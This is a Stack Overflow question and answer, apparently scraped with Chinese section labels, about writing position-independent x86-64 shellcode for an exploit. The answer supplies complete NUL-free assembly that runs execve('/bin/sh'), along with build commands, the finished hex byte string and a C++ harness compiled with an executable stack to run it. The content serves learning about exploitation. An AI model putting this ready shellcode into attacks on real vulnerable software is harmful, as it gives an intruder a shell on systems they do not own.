问题
I'm trying to write kind of exploit and have a problem with making my asm code run anywhere on the stack. Here's it:
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
This code won't work anywhere on the stack due to selected line because this code can be executed anywhere on the stack so nasm can't correctly compute arg's address. (This is a followup to shellcode calls different syscall while runing alone as individiual code and while running with C++ code where that was the problem.)
I've easily replaced strings with jmp/call/pop trick but still have a problem with pointer to string.
回答1:
In 64-bit code you don't need the JMP/CALL/POP method since you have the ability to use RIP relative addressing. Your code also inserts unwanted NUL bytes in the string with instructions like mov rdx, 0
. For shellcode that will be inserted as strings you need to use a set of instructions that doesn't introduce a NUL as that can prematurely end the string depending on how it is injected into exploitable program.
execve is defined as:
execve - execute program
int execve(const char *pathname, char *const argv[], char *const envp[]);
argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.
If not using envp you can pass a NULL. argv needs to be a NULL terminated list of pointers to strings. In your case you are trying to generate the equivalent of the C code:
#include <unistd.h>
int main()
{
char pathname[] = "/bin/sh";
char *argv[] = { pathname, NULL };
execve (pathname, argv, NULL);
return 0;
}
You can do this entirely on the stack in assembly code that can be run as a shellcode. The following code builds the /bin/sh
string on the stack and points RDI (pathname) to it. It then builds the NULL terminated argv list by pushing a NULL on the stack and the value in RDI is pushed. RSI is then set to the argv list on the stack. RDX is zeroed so the envp list is NULL. The execve
(syscall 59) is then invoked. I create a shellcode.asm
assembly file with:
BITS 64
global _start
_start:
; Build pathname on the stack
sub rsp, 8 ; Allocate space for the pathname on the stack
mov rdi, rsp ; Set RDI to the space that will hold the pathname
mov dword [rsp], '/bin' ; Move the first 4 characters of the path into pathname
mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
; The '.' character will be replaced with a NUL byte
xor eax, eax ; Zero RAX
mov [rsp+7], al ; Terminate pathname by replacing the period with 0
; Build NULL terminated argv list on the stack
push rax ; NULL terminator
push rdi ; Pointer to pathname
mov rsi, rsp ; Point RSI to the argv array
xor edx, edx ; RDX = NULL(0) (we don't have an envp list)
mov al, 59 ; 59 = execve system call number
syscall ; Do the execve system call
Build it into a binary executable with:
nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
Running ./shellcode
should produce a Linux shell prompt. Next convert the standalone executable to a shell string binary called shellcode.bin
and then convert it to a HEX string with HEXDUMP:
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
The output from the HEXDUMP should be:
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
Note: There are no NUL (\x00
) in the output.
Insert the string into your exploitable C++ program call exploit.cpp
:
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
Compile it to the program exploit
with an executable stack:
g++ -Wl,-z,execstack exploit.cpp -o exploit
When run with ./exploit
it should present a Linux shell prompt. strace ./exploit
should output this for the execve
system call:
execve("/bin/sh", ["/bin/sh"], NULL) = 0
来源:https://stackoverflow.com/questions/57293738/pointer-to-string-in-stand-alone-binary-code-without-data-section